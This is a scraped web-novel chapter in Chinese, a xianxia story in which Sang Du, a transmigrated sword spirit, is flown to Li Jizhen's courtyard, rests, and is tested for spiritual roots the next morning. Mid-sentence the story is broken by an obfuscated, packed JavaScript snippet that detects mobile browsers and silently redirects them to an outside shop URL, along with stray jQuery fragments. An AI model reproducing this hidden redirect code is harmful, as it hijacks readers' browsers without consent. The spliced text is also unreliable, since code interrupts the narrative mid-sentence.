默认冷灰
24号文字
方正启体

6. 第 6 章

作者:爱喝甜酒本书字数:K更新时间:
    李季真的手从手腕滑到他的小臂,稳稳地固定住了他,力道不大,但把桑渡整个人牢牢地定在了原地。


    “站稳。”


    桑渡惊魂未定地点点头,两只手死死地攥着李季真的衣袖。


    李季真低头看了一眼自己被攥得皱巴巴的袖子,眉头微微动了一下,但最终什么都没说。


    他松开手,掐了一个剑诀,一层透明的法罩笼住两人,同时长剑嗡鸣一声,载着两个人腾空而起。


    桑渡只觉得脚下忽然一空,整个人像是被一只无形的大手托着往上推。


    风声在耳边呼啸而过,雨丝哪怕变成一道道横线,也没有打在他身上。


    他本能地闭上了眼睛,手上的力道又紧了几分,几乎是把整个人都挂在了李季真的袖子上。


    “睁眼。”那人的声音在风里显得格外清晰,像是贴着他的耳朵说的。


    桑渡哆哆嗦嗦地睁开眼睛,毕竟他有点轻微高处恐惧来着,这个症状正常人都有。


    然后他蓦然愣住了。


    雨雾在他脚下,像一片翻涌的白色海洋。


    山峰从雾里探出头来,一座接一座,层峦叠嶂,像凝固的波浪。


    远处天边露出一线微光,灰蒙蒙的云层被那道光照亮了边缘,镀上了一层淡淡的金边。


    他刚才爬了将近一天的山,此刻就在他脚下。


    石阶上那些还在苦苦攀爬的考生们,变成了一个个看不清的小点,缓慢且笨拙地往上挪。


    桑渡忽然觉得自己先前爬山的狼狈,在这片风景面前,好像也没那么难以忍受了。


    “看够了吗?”李季真的声音再次响起。


    桑渡回过神来,发现他们已经飞过了不知道几座山峰,脚下的景色换了一副模样。


    层层叠叠的殿宇和楼阁,青瓦白墙,飞檐翘角,隐在松柏和竹林之间,像一幅徐徐展开的画卷。


    偶尔能看见几道剑光从远处划过,拖出长长的尾迹,那是广丰宗的弟子们在御剑飞行。


    桑渡看得目不转睛,一时间忘了害怕。


    “这就是……广丰宗?”他喃喃道。


    李季真没有回答。


    剑光开始下降,穿过一层薄薄的云雾,眼前忽然豁然开朗。


    一片开阔的山谷出现在脚下,谷中有一座不小的院落,青石围墙,黑瓦屋顶,院中几株老松长得极高,枝干探出院墙,像伸出来的手臂。


    院落后面是大片的田地,一层一层地沿着山坡往上开垦,像巨大的阶梯。


    田里种着桑渡叫不出名字的植物,有的碧绿如玉,有的泛着淡淡的银光,还有几株开着细小的白花,在雨雾里微微摇曳。


    剑光落进眼熟的院子里,稳稳地停在青石板地面上。


    桑渡脚一沾地,腿就软了,差点跪下去。


    他赶紧扶住旁边的石桌,才勉强站住。


    李季真从剑上走下来,头也不回地往屋里走,只丢下一句话。


    “明天来我静室。”


    桑渡:?O.o?


    难道又要做什么测试?


    想起先前在静室时,各种令人眼花缭乱的手段,完整经历过的桑渡只觉手脚发软,恨不得立马离开此地。


    虽说没有经历过  肉  体  上的折磨,但精神的折磨可不少,比如整夜抱着剑,李季真在线指导他,同本命剑沟通,看看能否引起剑身震动,再次回到剑中去,以增进本命剑的威力。


    虽然桑渡目前这具身躯貌似是本命剑的剑灵化身,但不知李季真炼制时出了什么岔子,导致这剑灵化身跑了出来,然后就是他穿了过来。


    然而就目前情况来看,短时间内他是回不去了,好像被临时斩断了联系一样。


    反正目前来看,他暂时是脱离不了此人魔爪了,不如既来之则安之,有了合适身份在宗门,不用怕是黑户口了。


    桑渡熟门熟路地跑回先前自己住过的房间。


    推开门,屋里还是他走之前的模样。


    一张窄榻,一个衣柜,一床叠得整整齐齐的被褥,窗边一张矮桌,桌上空荡荡的,连个茶杯都没有。


    朴素得近乎寒酸,但胜在干净,而且有屋顶。


    有屋顶就意味着不用淋雨。


    桑渡觉得自己对幸福的定义已经从“吃到好吃的”降级成了“有个不漏水的地方躺着”,而这个认知的转变只用了不到一天。


    谁让淋着雨爬了近一天山的威力如此之大呢。


    他去隔壁充作洗漱间的房间洗了澡。


    话说修真界洗漱用品发展还挺先进,浴桶无时无刻都有干净的热水,还不用自己去倒水换水。


    不过像大魔王这样修为高深的修士,也需要洗澡吗?


    不应该直接一道清洁术解决?


    桑渡思维发散了一会,准备回房休憩。


    窄榻硬邦邦的,被褥也薄,枕上去能感觉到底下木板的纹路,可桑渡躺上去的那一刻,整个人像是被抽掉了骨头,浑身上下每一块肌肉都在发出幸福的呻吟。


    腿还是酸的,膝盖还是疼的,脚底板像是被人用砂纸磨过一遍,火辣辣地烧,但这些都不重要了。


    重要的是,他不用再爬了。


    这点,他还是感谢大魔王的,让他提前免去了后面的入宗考核。


    这个念头在脑子里转了一圈,然后意识就开始模糊了。


    雨声隔着屋顶传进来,沙沙沙沙的,像一首没头没尾的催眠曲。


    他连被子都没来得及盖,就那么头发半干,穿着中衣,蜷在窄榻上沉沉地睡了过去。


    一夜无梦。


    第二天清晨,桑渡是被鸟叫声吵醒的。


    他迷迷糊糊地睁开眼,盯着头顶灰扑扑的天花板看了好一会儿,才想起来自己身在何处。


    阳光从窗缝里挤进来,在地上画出一道细细的金线。


    雨停了,天晴了。


    他翻了个身,浑身的骨头“咔咔”响了一串,疼得他龇牙咧嘴,但比起昨天那种“腿已经不是自己的了”的感觉,今天已经好太多了。


    这具剑灵化身的恢复力确实惊人,搁在前世,爬完那种山,他至少得瘫一个礼拜吧。


    桑渡磨磨蹭蹭地起了床,打开衣柜,换了件新衣袍穿上,淡绿和白色相间,整体清新雅致。


    他又跑去隔壁洗漱间洗脸,洗完脸后,看了一眼铜盆里自己的倒影,呆愣了一秒。


    穿过来这具身躯,相貌同前世有七八分相像。


    可就是那两三分的差距,硬生生把一张清秀端正的脸,拔高到了漂亮的范畴。


    眼睛是一双极漂亮的杏眼,眼尾微微上挑,瞳仁又黑又亮,像两颗浸在清水里的黑葡萄,湿漉漉的,看人的时候总带着一点怯生生的水光。


    睫毛又长又密,微微垂下来的时候能在眼下投出一小片扇形的阴影。


    一双眼睛灵得像一汪会说话的泉水,看谁都像是在央求什么,又像是在委屈什么。


    脸很小,巴掌大,两颊还带着一点婴儿肥,鼓鼓的,不笑的时候看着乖巧,笑的时候会挤出两道浅浅的弧线,像两颗刚剥了壳的荔枝。


    整体来看,这具身躯生了一副极好的皮相。


    他对着倒影发了会儿呆,然后深吸一口气,做足了心理准备,这才推门出去。


    李季真的静室在院子的最深处,穿过一条不长不短的青石小径就到了。


    桑渡对这条路熟得不能再熟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454105|201199||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,没办法,之前被叫来这里做过无数次剑灵测试,每走一次腿软一次,都快形成条件反射了。


    今天也不例外。


    他站在静室门口,盯着那扇黑漆木门,脑子里不受控制地浮现出之前的种种“测试”画面。


    那些法阵、那些符文、还有那柄不怎么搭理他的剑……光是回想一下,他就觉得手脚发软。


    桑渡咽了口唾沫,抬手敲了敲门。


    “进来。”


    桑渡推门进去,一眼就看见李季真正坐在窗前的蒲团上。


    那人换了一身月白色的衣袍,衬得整个人清冷得像一块未经雕琢的玉石,晨光从窗外照进来,给他的侧脸镀上了一层极淡的光晕。


    他听见动静,微微侧过头,目光落在桑渡身上,上下打量了一眼,像是在确认什么。


    “过来。”


    桑渡乖乖地走过去,在离他三步远的地方站定,还没来得及开口问“今天要做什么”,李季真忽然伸出手,一把扣住了他的手腕。


    桑渡大惊失色,本能地想要往后缩,但那只手看似随意,力道却不容抗拒,五指像铁箍一样牢牢地锁住了他的腕骨。


    “别动。”


    两个字,轻飘飘的,却像一盆冷水兜头浇下来,桑渡立刻僵在了原地,一动不敢动。


    然后一股微凉的气流从手腕处涌了进来。


    那股气流很细,像一根冰凉的丝线,顺着他手臂上的经脉蜿蜒而上,不急不缓地在他体内游走。


    经过肩膀,穿过胸口,一路下行,绕遍四肢百骸,最后又回到丹田的位置,在那里盘桓了一圈,才缓缓散去。


    桑渡说不清那是什么感觉。


    不疼,甚至可以说有点舒服,像有人在用一块凉凉的丝绸擦拭他身体内部的每一寸角落。


    可那种被窥探的感觉太强烈了,像是整个人被人从里到外翻过来看了一遍,什么秘密都藏不住。


    他的脸不自觉地红了。


    不是因为别的,纯粹是那种被彻底看透的感觉让他浑身不自在。


    他偏过头,不敢看李季真的眼睛,耳根子烧得发烫。


    片刻后,李季真松开了手。


    桑渡赶紧把手缩回去,低头看了一眼自己的手腕,上面什么痕迹都没留下,连个红印子都没有,仿佛刚才那一切只是错觉。


    他偷偷抬眼去看李季真的表情。


    那人的脸上没什么波澜,但桑渡跟他相处有一段时间了,已经能从他细微的神情变化里读出一些东西。


    比如现在,李季真的眉头微微蹙了一下,虽然很快就恢复了平静,但那一瞬间的失望,桑渡捕捉到了。


    “看来你的灵根资质依旧没变化。”


    李季真收回手,语气淡淡的。


    桑渡愣了一下。


    灵根资质?


    他想起测试时,自己的五灵根,顿时有些心虚。


    五灵根啊,放在修真界就是最底层的存在,修炼速度慢得令人发指,属于那种“练了也白练”的类型。


    他正琢磨着李季真说这话是什么意思,就听见那人又开口了。


    “你先修炼,尝试引气入体。”


    桑渡瞪大了眼睛:“……啊?”


    他没听错吧?修炼?引气入体?


    他一个剑灵,不对,一个目前回不去剑里的残废剑灵,修炼有什么用?


    李季真显然不打算跟他解释太多。


    他随手一抬,不知从何处飞来一本书籍,不偏不倚地落在桑渡怀里。


    桑渡低头一看,封面上写着三个古朴的大字——厚土诀。


    他的嘴角抽了一下。


    这不就是仙侠小说里烂大街的大众货色吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)